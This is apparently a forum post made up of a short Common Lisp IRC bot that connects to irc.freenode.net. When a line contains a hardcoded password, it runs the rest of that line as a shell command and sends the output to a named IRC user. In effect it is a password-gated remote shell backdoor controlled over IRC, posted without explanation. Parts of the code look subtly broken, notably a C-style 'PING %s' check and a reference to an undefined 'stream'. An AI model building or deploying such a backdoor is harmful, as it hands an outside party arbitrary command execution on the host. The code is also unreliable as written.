SMPFR

Code : Tout sélectionner

(defvar *server* "irc.freenode.net")
(defvar *port* 6667)
(defvar *mdp* "lemdp")
(defvar *user* "zplay")


(with-open-stream (socket (socket:socket-connect *port* *server* :external-format :dos))
                  (format socket "NICK BOT~%")
                  (format socket "USER botbot 8 * :lebot~%")

                  (loop for line = (read-line socket nil nil)
                        while line do
                        (if (string= line (format nil "PING %s" *server*))
                            (format stream "PONG ~A~%" *server*))

                        (if (search *mdp* line)
                            (let ((command (subseq line (+ (search *mdp* line) (length *mdp*) 1))))
                              (with-open-stream (output (ext:run-shell-command command :output :stream :if-output-exists :append))
                                                (loop for return = (read-line output nil nil)
                                                      while return do
                                                      (format socket "PRIVMSG ~A ~A~%" *user* return)))))
                        (format t "~A~%" line))

                  )

(exit)